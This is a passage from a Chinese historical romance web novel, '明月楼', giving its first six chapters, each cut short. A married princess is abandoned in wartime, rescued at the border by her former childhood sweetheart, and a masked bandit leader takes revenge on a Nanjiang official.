《明月楼》 1. 山雪 《明月楼》全本免费阅读 烈雪呼啸,凛冽的风声将窗棂打得咯吱作响,草木凋蔽,战火即将蔓延,远处呼救声不绝于耳。 急促的脚步声从屋外传来,令人听之心慌。侍者装束的女子很快推门而入,急匆匆行至殿中女官身旁,凑到耳边说了什么。 女官听后大惊,面上已有了怒意,正踌躇不知该如何禀报时,榻上女子先开了口。 “他们已经逃了,是吗?” 一只纤细莹白的手轻轻挑开床帏。女子柳眉微蹙,含情的杏眼中染着愁绪,隐隐能窥见深含其中的灵气,是一张极为出众的中原美人面,可惜此时满面病容,让那不正常的苍白损了几分美貌。 女官感到不平,却又无能为力,红着眼眶道:“王庭已经人去楼空,迟迟没有递来消息。殿下,他们根本没想着带我们一起走。” 岂止是没想带她们走,放眼整个南江王庭,谁人不知西戎可汗对公主美貌垂涎已久?如今却将她们抛下,难不成是想着献出女眷,好换得这破败的江山短暂安定,让他们继续苟且偷生? 真是禽兽不如! “早该想到的。”帷帐轻轻一晃,被称为“殿下”的女子轻声自语,正是当今南江储妃,虞静央。 她又咳了两声,喉中痒意久久难消:“是我拖累了你们。” 若不是自己身体不争气,来到这郊外行宫幽居养病,她们早就和王庭中人一起逃了,现在也不至于在此等着西戎人攻进来,将脸面扔在地上任由人碾碎。 女官不忍:“殿下,别这么说……” 虞静央没什么力气,沉默着放下床帏。 事到如今,争辩这些也是徒然。西戎人野蛮成性,一旦落入他们手中,失去的就不只是脸皮了。 虞静央许久没再说话,再开口时,声中已是另一种情绪,如同下定了某种决心:“晚棠,去拿些盘缠。” 她和亲离开故国,却没忘了远嫁之前,自己也是大齐的公主。西戎与南江开战,大齐作为邻国隔岸观火,出于自卫之需定会增兵戍边,维持本国安定。 与其在此坐以待毙,不如拼尽全力寻觅一线生机。 -- “公主,公主!” 一架称得上简陋的马车在雪地里辘辘前行,车轮分明不停转着,却好像显出几分无力和疲惫,在满地素白中留下两道明显的泥痕。原本结实的车木受过刀剑重创,稀碎的糊窗纸挂在木制窗棂上摇摇欲坠,看上去分外可怜。 原先的车夫已经不在了,晚棠在前面勉强拉着马缰,双手冻得通红,她回头去看车内人,不时叫两声,以确定虞静央还清醒。 没有听到回音,晚棠心中担忧更甚。可她不敢停下来,眼中强忍着的泪无声滴进衣裳,与冰雪交融在一起,渗出几点水痕。 从行宫中膳房小门离开的时候,她们本来有几十号人,有侍卫有宫女,一路向南江和大齐的边境行进。南江王都位于东北部,与边境离得不算远,赶个两天就能到达,但如今战乱未平,又是冰天雪地,她们一行人势单力薄,让此行变得安危难料,果不其然在途中遇上了南江叛军。 叛军背弃了王庭,学西戎人的野蛮做派,不由分说夺了她们的盘缠,竟还想对公主不轨。随行护送的公主亲卫武功不低,却输在了人数上,最终以命相搏拖住叛军,用自己的血换得了主子的安然逃脱。 如今就剩下了她们主仆两人。此处临近边境,但山崖落雪、少有人烟,公主病未愈,她们又没有御寒的衣物和吃食,该如何挺过去? 车内的虞静央裹着一件厚厚的狐裘,面容被兜帽上的绒毛包围,却觉得自己像是被泡在了一潭冰水中。周围的寒意侵袭着她的身体,冷得彻骨,面颊却是病态的红,触手热得灼人。 她意识模糊,起初还能应声,现在几乎听不见晚棠的声音,昏昏沉沉不知身在何处。 “阿绥,不要睡。” “阿绥……” 虞静央听不见晚棠的呼唤,恍惚有另一道熟悉的声音在她耳边盘旋,轻声唤着自己的小名。她想抓住那声音的主人,刚伸出手,却感到身下一阵颠簸,紧接着如同脱缰般加快向前行。 虞静央一激灵,终于将意识从混沌中捞起,有了几分清醒。 “晚棠——”她忍住嗓子的痛意,尽力唤侍女的名字。 可惜晚棠没有应声,下一瞬马车狠狠一颤,像是滑了一跤那样猛地飞出数米远,陈旧的车辙彻底罢工,发出惊惶的哀鸣。虞静央难以平衡身子,在车中重重跌倒。 一片白茫茫,马车失去了控制,如风筝断线般向陡峭的山坡下坠去。 --- 大雪方停,寂暗的苍穹下灰云蒙蒙,不见暖阳,一阵整齐的马蹄声由远及近,踏在雪地上吱吱作响。 道路尽头,缓缓出现了一支戎装规整的军队。为首一人作将军装束,身骑银鞍黑马,腰间佩剑归入鞘中,玄甲战袍寒光凛冽。男子身形高大挺拔,英姿勃然,眼中如同含了终年难化的冰雪,淡淡扫过眼前的荒芜和白茫。 西戎与南江开战,大齐不欲掺和其中,自然严守边境安危。萧绍自请离京,前往边疆驻守巡防,如今已经数月,除却经历了一些小波折,倒也算得上风平浪静。 天色将晚,他们该回营了。 正带兵向前走,萧绍目光忽地一凝,拉紧缰绳使马停下。身后的士兵皆是一振,齐齐肃然停步。 山原间盖满了凛冽的冰雪,一侧崖壁上有个不算大的山洞,这里人迹罕至,也鲜有野兽出没,本不该有声响,方才却传来了一阵窸窣动静,屏息静听片刻,竟有女子隐约的悲泣声响。 荒郊野外,怕是有诈,众将士不敢懈怠。毕竟现下南江战势不明,西戎民风又是出了名的暴力野蛮,万一两方争斗之间红了眼,难保不会波及大齐。 萧绍沉下眼,无声打了个手势,身后的副将会意,带着手下几个士兵拔剑下马,放轻脚步向山洞靠过去。 过了不久,方才过去查看的士兵回来一个,抱拳禀报:“禀将军, 2. 伤疤 《明月楼》全本免费阅读 茫茫雪地里有军营驻扎于此,军靴马蹄一遍遍踏过,雪水化成了泥。 “据传回的军报说,西戎军已然深入南江腹地,攻陷王都不说,看架势还要夺占商路,实在是……” 长者留着一把山羊胡,穿了一身常服,在雪中背着手踱步。身侧跟着的男子则年轻许多,面容英朗身形挺拔,铠甲也是将帅的规制,一看便知地位不低。 萧绍静静听着,应道:“南江近年来得意忘形,这次西戎动手,是要打服才肯罢休了。” 五年前,南江在大齐这里打了胜仗,趁火打劫一番后便忘了青天高、黄地厚,愈发猖狂不知收敛。大齐为养精蓄锐时常忍让,多是睁一只眼闭一只眼,而戎狄民风悍勇,可没有大齐这样的好脾气,今日战况早在意料之中。大齐虽不欲掺合其中,可若说心里话,也是要道一句解气的。 然西戎和南江人都不傻,未必会放任大齐做这个得利的渔翁。若两方争执不休,逼他们出手…… 萧绍眸色微微一沉,继续道:“霍侯不必忧心。毕竟,淮州军早不是当年的模样了。” 那时江山初定,淮州军实力尚未恢复,面对南江的趁机入侵,只有派出地方守军硬着头皮迎战。可今时不同往日,作为最了解淮州军情况的人,萧绍毫不担心潜藏的战争隐患。 说起淮州军,被称为“霍侯”的男人停下步子,原本的严肃登时去了大半,连声责怪道:“你说你,有淮州军在,何必揽这巡守边境的苦差事?难为陛下生怕你不明边境形势,还派我这个老家伙来帮你一把!” 当今陛下器重萧绍,自是想让他尽早积功造势,也好封给他更高的爵位官职,最好承袭父业,一举挂帅统领淮州军,不辜负天子多年来的苦心栽培。好在萧绍确实争气,沙场历练几年后立下不少军功,在朝堂站稳了脚跟,谁知这次闷声不响地求了道旨意,硬是要来这战火纷飞的地方巡戍,陛下没了法子,最终还是应允。 诚如萧绍所想,大齐被卷入战争的可能性极小,所谓戍守边疆安定,说白了就是日日放哨站岗,偶尔救几个落难的老弱妇孺。耗时太长,功劳又小,这种吃力不讨好的活计,偏偏被他给看上了。 即使霍侯看着他长大,对他足够了解,也怀疑他是不是昏了头,转了向。 萧绍沉默着,没有辩解什么。巡边之事,朝中任何一个武将都可以做,尤其是在明知不会遇袭的情况下,放在所有军务里也是最简单的一级。从陛下到霍侯,再到自己的父亲,没人明白他这样做的缘由,只有他自己懂。 执念,执念难消。 之所以坚持来此,不是他昏头转向,不明白什么对自己更有利,只是想了却心中一桩执念罢了。 此地离南江王庭很近,脚程快些不过一日多的路程。到了这里,也许他能听见些许故人的消息,继而告诉自己:往事已矣,何必再耿耿于怀。 可到现在,萧绍知道这份执念是再难消除了。 见他不答,霍侯心里隐隐有了猜测,不由叹息:“宣城公主意外与南江王室失散,现下虽在我方营地,但迟早也要回去。继淮,即便当年情分深重,现在也必须忘记了。” “我知道。”萧绍不是不知分寸的人,眼中静寂无波,如同在谈论一个陌生人。 早在多年前和亲圣旨下达的那晚,他们两个就没有一点关系了。等到她病愈,他会亲自率兵越过边境,护卫她回到南江王庭。 “不过公主殿下身边仅有一个侍女,竟真的自南江王都一路穿过边境,途中遭遇叛军袭击也成功脱身,实是福气庇佑啊。” 南江国内现在乱成了一团,不仅有西戎大军劫掠,还有南江内部涌现的一部分叛军,尤是危险。面对这样的情势,纵是男子,也未必有宣城公主一样的胆魄。 霍侯感慨完,心下有些犹豫,但还是对萧绍道:“公主尚在昏迷,不知何时能醒来。你若得闲,还是找个时机去看看吧。” 身为长辈,他告诫萧绍早些断了念想,可小辈太懂事,他又忍不住在心里叹气惋惜。造化弄人,当年那样相配的少年少女,怎么最后就落得个这样的结果呢? 罢了,反正留不住,能多看一眼就看一眼吧。 - 边境条件艰苦,寒风呼啸,大帐中却温暖而宽敞。 自山洞受解救已经过去两日,虞静央依旧紧闭着眼,完全没有苏醒的迹象。她身子虚弱,衣着单薄在冰天雪地里奔波太久,更是加重了病情,军医过来看过,却也没什么好的办法,只有开出祛寒退热的药方,叮嘱好生将养,尤其不可着凉。 晚棠守在榻前侍药,看见来人后精神一振,正要起身行礼,又被示意噤声。 “怎么样了?” 他话意不清楚,但晚棠会意,面上不禁带上忧虑:“回世子,殿下已经退热,可不知为何迟迟没有醒来。” 萧绍不懂医术,放轻脚步走到榻前,眼中情绪不明。 榻上女子五官未变,脸颊上的肉却轻减了太多,明明无声无息昏睡着,还是轻颦着一弯柳叶眉,脆弱含愁的模样,像一方精致又易碎的白瓷。 你不是很喜欢他吗,为什么得偿所愿嫁了过去,看起来却还是过得不好? 虞静央无知无觉,双手安静地交叠在一起,露出苍白的指尖。萧绍无言盯着,垂在身侧的手逐渐握成了拳。 他单膝一屈蹲了下来,握住虞静央一只手腕,卷起层层衣袖。纤细白皙的小臂不像从前那样光滑细腻,藏着一道青紫的旧伤疤。 “萧世子!”晚棠惊呼,却不敢上前阻拦。 萧绍呼吸巨颤,几乎压不住心头翻涌而起的戾气,厉声问:“怎么回事?!” “这,这……”晚棠面上是肉眼可见的惊慌,支吾半晌不知该怎样说,眼眶却渐渐红了,泪水在里面打转。 突然,她上前几步,“扑通”一声跪在了萧绍面前,如抓救命稻草一样抓住了他的袍角,悲泣道:“求世子救救我家公主!南江王室残暴卑劣,日子 3. 旧梦 《明月楼》全本免费阅读 萧绍心头一颤,正想说什么,虞静央却率先开了口,望着他的目光毫无波澜。 “我不想再这样下去了。南江王储年轻有为,生得也英俊,我喜欢他。” 南江……王储? 气氛就这样凝滞了。萧绍脑中嗡的一声轰得他发昏,过了许久,才找回了自己的声音。 萧绍以为是自己幻听,于是主动忽略,紧紧抓住虞静央的手,如常笑道:“我买了你最喜欢的青梅糕,还热着呢。等到天黑了,我们去河边放花灯好不好?” “萧绍!你没听明白吗?” 虞静央的耐心彻底用尽,用力甩开了他的手,一字一句认真道:“我要喜欢别人了。” 我要喜欢别人了。 和他青梅竹马一起长大,两小无猜十六年的女孩,在今天对他说,她要喜欢别人了。 萧绍活了将近二十年,读过圣贤书,也学过君子六艺,唯独没有人教过他该如何应对现在这样的情况。 所以,他当场愣在了原地,仿佛一身滚烫的血液都凝固了。 “半月之后,我就会离京前往南江。我喜欢郁沧,即使必须去国离家远嫁千里,我也不在乎。” 虞静央没给他任何质问或求情的机会,又添了一把暴烈的火:“他日郁沧继任王位,我便是南江王后。是母仪天下还是下嫁纨绔,要是换成你,你会怎么选?” 她抬步走过,与他擦肩:“你就当我负心,忘了我吧。” 虞静央离开了,没有一瞬停留。萧绍脸色苍白,一阵钻心的绞痛感随之而来,迅速渗入四肢百骸。 那天,萧绍失去了自己放在心尖上的小公主,也丢掉了少年时期所有的尊严。眼泪一滴滴狼狈地砸在地上,呼喊声大到整个公主府都清晰可闻,即便如此,也没能拦住去意已决的少女。 就好像一阵疾而寒的烈风突如其来,冷酷地卷走了一切情分和记忆,分毫不留。 萧绍想追上去与她辩个明白,用自己的本事留住她的心,最终还是什么也做不到。他不喜自己父亲的为人,一面却又不得不藏在那片荫蔽下度日,享受着白来的富贵荣华,被人尊称一声“萧侯世子”。 他身无长物,无所事事,是个……没用的纨绔。 …… 后来,萧绍还是追了上去,却迟了一步,虞静央已经乘辇轿入宫。直到出嫁吉日到来的那天,她都将留在皇宫待嫁,不会再走出一步。 高大沉重的宫门缓缓合上。使者宫人来来往往,都在为即将到来的两国联姻做准备,萧绍这才得知,原来自己在淮州军营的时候和亲圣旨就已经下达,走过一层层流程昭告了天下。 南江趁人之危发起战事,大齐战败收场,议和条款已经商量妥善,联姻南江的任务也将派遣宗室女子完成。皇室公主里一位已有婚约,一位重病卧床,都不是和亲适合的人选。 这些东西,明明都是他前往淮州前就已经商议好的。为什么现在又变了呢? 萧绍求了很多人,自己的亲生父母、皇亲国戚、相熟的叔伯长辈。然而圣旨已下,无人敢帮他向天子求情,只有他自己仍不肯接受,怀着一腔无望的孤勇。 由于家世的缘故,萧绍一贯是皇帝厚待和偏宠的对象,这次却一反常态,从始至终都没有松口见他一面。虞静央也一样,安然留宿在深宫里,没有传出只言片语。 可萧绍心中尚怀有一丝微弱的希望。最后,他长跪在宫门前。 阿绥,别走。 我再也不惹你生气了,再也不做纨绔了…… 风雨夹杂着刮扫脸颊,单薄的袍角被吹得发抖。皇帝终是心软,虽没有露面,但派了身边得用的内官出来,劝说萧绍早些回府。 萧绍没有动,只一遍一遍说着“求陛下收回成命”,不断地起身俯身,额头抬起又磕下去,血色染红了石地。 小黄门没有办法,只有不停劝阻,连声道:“这桩婚事是宣城公主亲自求来的,否则任谁也逼迫不得啊!世子何苦为难陛下,又与自己的身子过不去呢?” 萧绍手指扣在石阶棱角上,眼前景象因斑驳的血迹而变得模糊。 大齐是战败国,即便出嫁时排场再大,到了南江也不可避免地会被轻视。自此离京远隔千里,她若真嫁过去,要是受了什么委屈,谁会保护她? 她从前那样在意的一生一世一双人,到了现在,竟情愿忍受勾心斗角,与南江后宫中的一众妃妾共处。 她喜欢那个王子……可喜欢不是权或钱,能当饭吃吗? 胶着之际,宫门忽然开启,来者是虞静央身边的侍女,交给萧绍一封信。 萧绍精神大振,匆忙又急切地拆开信封,里面没有什么依依惜别的长篇大论,只留着极其简短的一句话。 “往事已矣,萧世子不必相送。” 秋风寥落,呼啸声仿佛嘲笑着失意的少年。萧绍手上力道忽而一轻,那薄薄的信纸凭风而起,旋即飘进宫河,随水东流。 过去形影不离的十几年,好像做了一场大梦。 …… 军帐中烧了炭火,暖意袭人,把萧绍的思绪拉了回来。 软榻上,女子和衣而卧,纤长的睫毛正不安地颤动,是将要醒来的前兆。萧绍却没有露出任何类似喜悦或期待的表情,而是胸膛剧烈起伏着,竟莫名方寸大乱。 在虞静央睁眼之前,他突然转身疾步离去,衣角擦过空药碗的边沿,“啪”地一声摔了个粉碎。 - 萧绍走后没多久,虞静央便醒了。晚棠喜不自胜,当即将未说完的坦诚之语忘到了脑后,连忙唤来了军医照看。 军中闻讯无不大喜。毕竟以公主之尊,在这里出了任何岔子都是麻烦,何况,她身上还有邻国储妃这么一个身份。 主帐里的霍侯老人家松了口气,却见萧绍从外面回来,仍不动如山坐在桌案前看军务,不由奇怪:“殿下醒了,你不去见一见吗?” “……” 4. 储妃 《明月楼》全本免费阅读 千里外的玉京,雪迹渐渐消融,清凌凌的冰柱挂在屋檐下,在暖和的日光下不知不觉缩小了一圈。满眼白茫,春桃在枝头悄悄发了芽。 “郡主,慢一点!” 晋王府后院,几个侍女在小小女童身后追着,一片欢声笑语。 为首的小家伙看起来不过三四岁,在前面吧嗒吧嗒地跑,手里拿着只纸鸢。不远处的石亭下坐着位年轻妇人,着一袭月白色罗裙,面上含笑,手中捧着一卷书,自有一身清淡雅致的气质。 正是其乐融融的时候,外院传来脚步声,是这座府邸的主人回来了。 祝回雪一振,扶着侍女站起了身,步履徐徐走下石亭。陪女孩玩耍的侍从也停下来,带着小主子上前行礼。 “殿下。”祝回雪为首屈膝一福,随即被人托住手臂虚虚扶起。 她起身,冲着面前人一笑,像往常一样询问:“殿下今日回得迟,可有饿了吗?厨房做了燕窝粥。” 虞静延嗯了一声作回应,道:“已在父皇宫里用过了。” 这是常有的事,祝回雪不觉意外,便也没有再强求。 众人识趣退散到各处。虞静延目光移到祝回雪身侧的小女孩身上,弯腰把她抱了起来。 粉雕玉琢的小团子容貌俏似其母,一双明亮的眼睛如紫葡萄般,搂住父亲的脖子乖乖巧巧唤了声:“父王。” 虞静延眼底荡开一抹柔色,问:“乐安,今日可有挑食?” “没有,乐安可听话了。”乐安的头摇得像拨浪鼓,柔软的垂髫发髻在耳边晃荡。 她的新玩伴还在手里,主动举了起来:“父王看,乐安的新纸鸢。” 稚童年幼,正是贪玩的时候。虞静延笑了笑,望向那只纸鸢,却发现其做工毫不精致,铜丝外溢出胶痕,上面画的也是过时的式样,实在令人难以恭维。 这是…… 纸面上画着的燕子不好看,却十分眼熟。虞静延怔住,记忆自然而然回到了数年前的春日,想起一个娇俏欢脱的少女身影。 “兄长快看,我亲手做的纸鸢!怎么样,还可以吧?” “如此粗糙,你确定能飞起来吗?” “怎么不能?等着瞧吧,明日我就飞给你看!” 如果没有记错,这只纸鸢本该积压在王府库房里,乐安怎么会拿到? 他眼中的笑意渐渐褪了下去,看向立在自己身旁的温婉女子。祝回雪面色如常,低眸不语。 虞静延深深望了她一眼,最终只耐着性子,对乐安道:“这只纸鸢不好看,明日父王回来,给你带一只更漂亮的。” “好。”一听说有更好的玩伴,虞乐安弯起眼睛,当即便不要手中这个了。 侍从接过小郡主不要的纸鸢,战战兢兢请示主子的意思:“殿下,那这只纸鸢是丢弃,还是……” 虞静延沉默良久,道:“放回库房原处吧。” “是。” 侍女带着乐安匆匆离开。祝回雪观察着男人的神色,主动开口道:“听闻继淮在边境成功救下了阿绥,当真是惊险。” 虞静延未答。 祝回雪也不灰心,继续试探道:“南江战乱,恐怕阿绥度日艰难,趁现下还在我大齐军营,殿下可要送些东西过去?” 虞静延身后的随从低着头大气不敢出。自从五年前和亲之事后,宣城公主就成了晋王府的禁忌,王妃竟当着王爷的面公然提起,可真是胆子大。 气氛陷入僵局。就在祝回雪的心缓缓沉下去的时候,虞静延终于说话了,只给了简短的四个字:“你安排吧。” 祝回雪心头一松,顺从应是。 接着虞静延又道:“今日事多,入夜不必等我。你早些安置。” 这便是不会过来的意思了。 祝回雪暗暗轻叹,再度应下。虞静延没再多留,径自向书房去了。 --- 军营,晚棠端着药进入大帐,柔声道:“殿下,该喝药了。” 虞静央什么都没做,就那样静静坐在榻上,低垂着眸子。军中将士为她准备了一面铜镜,就放在软榻旁边的矮桌上,正好映出那张灵秀却苍白的面容。 从她醒来到现在,已经过去七八日了。上到霍侯,下到一众从朝中来的武将,都纷纷前来见过她,只有那一人,至今都没有出现过。 若他已经从当年的事中走了出来,就该坦坦荡荡来见她,而不是像现在一样久久不肯露面,连说话都要别人捎来。 “殿下不必忧虑,待战乱平息,臣便送殿下回南江,与郁沧王子团聚。” 虞静央已经五年不曾见过萧绍,山洞里那匆匆一瞥也看得不真切,还以为是幻觉。时隔太久,故人的音容笑貌本该在记忆中渐渐模糊,但不知为何,她却可以几乎想象得到萧绍说这句话时的神态和语气,仿佛二人从未分别。 想起昔年旧事,说毫不愧疚是假的。她有心当面向他赔罪,他却不愿给她一点机会。 虞静央眉眼低垂,将锦被攥出了褶皱。 就算要回,也只会是回大齐。 至于另一处,她是再不会踏上一次了。 虞静央接过药碗一饮而尽,漱过口,问晚棠:“南江派来的人何时会到?” 晚棠本想着能瞒一阵是一阵,架不住她主动提起,只有眉间染上忧愁,小声道:“按照王庭与大齐军中的约定,明日午后便要到了。” 西戎与南江已经停战,南江王室重回王都,听说她没死,自然要遣人来接她回去。听说为首的是王后身边的女官银兰,虞静央曾与她打过几次交道,知道她为人沉肃严苛,最是难缠。 等到银兰到达,她也就拖不了几日了。 虞静央抬起眸子,与镜中的自己对视,眼中露出决绝的光。 - 帐帘大开,寒风阵阵穿进来。远道而来的侍卫已经守在了门口,白金花色的异族服饰,是南江王庭派来接储妃回宫的人。 帐中,女官坐在侧首的位置,身后跟着不少随从,黑压压的一片。虞静央没有看她,素色衣裙未着粉黛,沉默地捧着杯热茶。 气氛略显胶着,仿 5. 青使 《明月楼》全本免费阅读 “本宫身子仍在抱恙中,想要多养一段时日。”她收回目光,说道。 “储妃放心,等回到王庭,自然有宫人御医为娘娘好生调养。” 背对着门口的银兰毫不知情,再次强硬地去抓她手。令所有人意外的是,主位的公主面色骤然变白,旋即发出一声慌乱的惊叫,浑身颤抖着向后躲。 “别过来,你别过来!” 虞静央甩不开,泪水唰地落了下来。 “银兰,你大胆!”晚棠上前护主,三个女子纠缠在一起,当场乱成了一团。 银兰力气大,拉着虞静央不放手,就在想要强行拉她起来的时候,忽然被什么细小的硬物击中了膝弯,又痛又麻。 银兰“哎哟”一声,左腿不受控地弯了下去,竟直直跪在了虞静央面前,站也站不起来。 如此一来,银兰手上的力道也不自主松了松。下一瞬,她脖后衣领被一股极强势的力道攫住,旋即眼前天旋地转,脊背重重落地,竟直接被人扔出了数尺远! 银兰骨头没断,依然可以动弹,但浑身剧痛不已,颜面也丢了个尽。 动手的男人是张陌生的面孔,虽然年轻,看起来却官衔不低。银兰怒不可遏,指着他大喝:“你是何人?!我乃南江三品女官,你竟敢如此对待我,莫不是疯了!” 萧绍巡边方回营,就听汇报说南江人已经逼到了公主大帐,匆匆赶了过来,分毫不惧挡在虞静央前面:“殿下凤体尚未痊愈,你听不懂吗?” 他周身威压太迫人,银兰想要驳斥,却本能地生出一阵对危险的畏惧,方才的嚣张无形中去了大半。 “本官只是想将储妃早些带回王庭,也好让王后和储君放心。如此竟也有错吗?” 晚棠在旁急了:“萧将军别信她的话!若他们当真放不下,又岂会在避乱时抛弃殿下而去?” “萧将军……” 银兰低声重复,很快便面露了然,视线在虞静央和萧绍之间转了转,讽道:“原来这位就是传闻中的萧侯世子。都过去五年了,看来你与我家储妃的旧日情分,仍难了绝啊。” 萧绍脸色更沉,身后的虞静央这时说话了:“银兰姑姑莫要多想了。方才是我没有想通,稍后更衣便随姑姑启程……” 她声音轻而哑,明显是担心二人产生争执而委曲求全。萧绍渐渐攥紧了拳,突然转过身去,也不顾南江人尚在场,径自问虞静央:“殿下真的愿意回去吗?” “我——”虞静央身子仍蜷缩着,唇色苍白。经他这样一问,那违心的“愿意”两字竟无论如何都说不出口了。 萧绍没有等到她的回答,答案却已在心中分明。他再度面向银兰,以大齐将军的名义作了主,话语中是不容置疑:“殿下凤体欠安,还要再休养一段时日,望贵国莫要催促,稍安勿躁。” 萧绍没让银兰插嘴,继续道:“我会修书一封,将姑姑的‘恭谨周到’尽数告知贵国王君。诸位请回吧。” 国与国之间,即便两方早已水火不相容,明面上的体面礼数也是要过得去的。若萧绍当真将今日之事告到了国君面前,银兰便罪责难逃了。 银兰终于胆怯,心有不甘也只得屈从,同随从使了个眼色,冷哼甩袖,悻悻离开了军帐。 赶走了南江一行人,萧绍的目光抬起又垂下,最终回到了身后女子的身上。虞静央余惊未褪,眸光悲戚又无助,以一种极具防备的姿态保护着自己,右手紧紧攥着自己的衣襟。 萧绍安慰的话语在喉中转了一转,之后还是没有说,转而吩咐晚棠:“殿下的热茶洒了,去重新倒一杯来。” 晚棠不放心地望了望主子,依言退下。 两人一时相顾无言,虞静央勉强道:“多谢萧将军解围……” 她眉眼低垂,一副怯怯的模样,萧绍莫名焦躁起来,不由又向她靠近了一步。虞静央身子微微一抖,本能地向后缩。 她的反应太过异常,不像是当惯了养尊处优的主子,反像受尽了磋磨和虐待,所以极度缺乏安全感,面对任何人和事都想要逃避。 这样的念头一出,再联系在她昏睡时看见的伤疤,萧绍还有什么不明白的? 他双唇紧抿,指关节凸起显出白色。 在萧绍强压怒火的同时,虞静央的情绪稍稍平复了几分,但身体仍然紧绷着,衣袖随消瘦的手腕向下滑,露出一点那道伤疤的痕迹。 面前人迟迟未言,虞静央睫毛微颤,许久后悄声抬起头,猝不及防与他对上了目光。 这一眼,跨越纵横了五年光阴。 炭盆里的火苗噼啪作响。昔日的爱恨痴缠、喜怒悲怨,仿佛都在这一刻变得模糊了。 “……” 她脸上泪水斑驳,如一朵饱受摧残的娇花,失去了原本的容光。萧绍望着,突然很想问她一句“疼不疼”。 他想为她检查伤势,可是手还没碰到袖口,就被轻轻躲开了。 虞静央把手放在身后,摇了摇头:“……别看。” 她声音虽轻,态度却十分坚决。萧绍抓了个空,也意识到了自己举动的越界。 “你……”他想说什么,却又没说完。 萧绍没让气氛继续尴尬下去,很快再次开了口,像是在心里思考过好久:“殿下,你想不想回南江?” 虞静央心中挣扎不已,嗫嚅道:“我……” 萧绍不曾催促,静静等待着她的答案。 这是他最后一次问。若她说想,他就再也不会干涉什么,只会日后在军事上向南江施加一些压力,尽力给予她一份母国的庇护。 此处没有别人,虞静央斗争很久,答话时喉间酸涩,细听还有哭腔:“南江的饭食,我吃不惯。” 这是她的答案。 如在诉苦,如在委屈。情感微妙的一句话,仿佛小心翼翼地戳破了那层无形的隔膜,又将他们之间的关系拉回了数年前。 不对,若真在从前,虞静央是不会这样说的。面对不合心意的吃食,她不委屈自己,只会直白地嫌弃:“不好吃,我不喜欢。” 不谙苦难的小公主,最终因苦难而成长。无论怎样修补,都回不到最初了。 萧绍回应:“臣明白了。” 他无法承诺什么,但会尽力而为。 “臣会上奏朝廷,将殿下的情况如实告知。之后几日就请殿下安心养病,莫要思虑过重。” 说罢,萧绍不再多留,径自离开大帐。 没过多久,晚棠回来了,担忧地询问:“殿下,接下来该怎么办?” 虞静央摇头,擦干眼泪,方才的软弱可怜消散得无影无踪。 晚棠手中端着的银盘里除了一盏热茶,还有几个小小的瓶瓶罐罐。 “这是什么?”她问。 晚棠:“是萧将军吩咐给 6. 圣谕 《明月楼》全本免费阅读 女子一身玄色曳地长裙,裙摆处夹杂着艳丽的朱红色,裸露在外的白皙腰腹甚是扎眼,脚腕处挂着两串黄金制成的铃铛。没人看得清她的面容,一副黑漆漆的面具遮住了大半个面庞。 她落座,二三男伶很快簇拥了上来。满堂部众齐齐单膝跪地,山呼:“见过大当家——” 这便是传闻中的黎娘子了。 刘原紧张起来,再次低首一揖,正斟酌着如何开口,高处女子已然说话,语气听不出喜怒:“让刘公公行礼,当真是折煞我了。” 刘原心道倒是比手下人懂得一些分寸,面上笑着回道:“黎娘子多虑了,不过是一点小节。南江与梨花寨为邻多年,总要周全礼数才好。” 黎娘子像是笑了一声:“刘公公的意思是,方才我的手下有不敬之举?那还真是……” 她的话音消隐在黑暗里,刘原没有听清,又听她说:“既要合作,可有信物交换?” “自是有的。”刘原忙不迭支使身后随从奉上。 小小一枚铜符躺在黎娘子手心,她看了半晌,唇角勾起个冰冷的笑。 刘原接过交换来的信物,也是一枚铜质的符牌,看上去竟十分熟悉,上面的文字是—— 南江文?! 刘原心下惊疑,立刻抬起头质问:“这是我南江王子府的通关令牌,黎娘子是从何得来的?” “从何得来?” 黎娘子一把推开身侧伶人,锐利的眼光自面具后射出:“刘原,不认得我了吗?” 那所谓的信物被她随手一扔,如废石块般掉在地上。 下一瞬,她取下面具。 女子容貌清丽,并非什么骇人的长相,刘原却如遭雷击,白着脸指向她,口中喃喃:“晚、晚——” “唰”的一声尖啸,三支极细的银针直直穿过他心口。刘原的话终究没能说完,轰然倒地。 黎娘子放下手,漠然道:“晚了。” -- 晚风拂过,寂空中,月亮缓缓从云层里露了出来。 女子仍是一身玄衣,手里拿了只酒坛。众人在外围着篝火划拳庆祝,她没有凑热闹,独自一人在院中喝酒。 月色高悬,黎娘子望了望,唇畔露出个浅淡的笑。 不是借酒消愁,相反,她心中很痛快。 五年前她在南江的时候,刘原不过是郁沧身边一个最不起眼的小黄门,后来顶头上司死了,他才有了上位的机会。 说起来他有出头之日,还应该感谢她呢。 早年的经历让她注定一生都不会与南江人为伍,那些曾经落井下石,刁难欺负过她们的人,她更会一一讨回来。 不过在这之前,她还有更重要的事情要做。 手中的酒坛子逐渐变得空荡荡,黎娘子指间一转,酒坛脱手飞向身后,扬声道:“可汗究竟是鹰隼还是老鼠?” “鹰隼敏锐,老鼠灵活,做什么不好?” 男人轻笑,缓缓自黑暗里走出。他身形高大健硕,一身服饰不是中原的形制,也不似南江装束。 黎娘子冷哼,却没有动手,而是习以为常地拿了只未开封的酒坛扔给他。后者接了过去,自然地坐在她旁边。 “你就这样杀了那帮人,不怕南江王知道之后来找麻烦?” “现下南江自顾不暇,但凡有一点脑子都会忍着,专心对抗你西戎的大军。” 黎娘子淡淡回答,漫不经心里含着杀意,“他们若敢来,我便让他们知道一番,什么才叫真的麻烦。” 男人笑而不语,像是猜到了她的回答。毕竟她对待南江的态度一向强势,从来不会退让。 黎娘子看了一眼他:“你叔父手下的大军打了胜仗,眼看就要班师回朝,你倒沉得住气,还有心思来我这里喝酒。” “正是因为朝中将要容不下我,我才要来这里躲着啊。” 男人耸耸肩,面不改色与她开玩笑,“怎么,你是在担心我吗?” 相识数年,黎娘子习惯了他这副油腔滑调的模样,只睨他一眼,似笑非笑道:“担心某一日被人发现,传出去说西戎的傀儡可汗与黎娘子有私情。到了那时,整个梨花寨便岌岌可危了。” “哈哈哈哈——” 阿穆苏大笑,一举一动皆是异族的野性和潇洒:“放心吧,西戎内部的纷争,不会拖你梨花寨下水的。” “毕竟……”他稍稍凑近她耳边,低声道:“毕竟本可汗‘垂涎南江储妃美貌不能自拔’,突然移情别恋像什么话?” 黎娘子移开眼,却是会心一笑。这是她与阿穆苏达成的约定,目的就是借他的威名保护南江行宫里的那个人,有他的风月传闻在外,南江人总会忌惮几分。 好在现在,那个人已经逃离出虎狼窝了。 “之后呢,你打算怎么做?”阿穆苏问。 黎娘子摘了片绿叶在指间把玩:“回去看看吧。” “回哪里?” “大齐。” 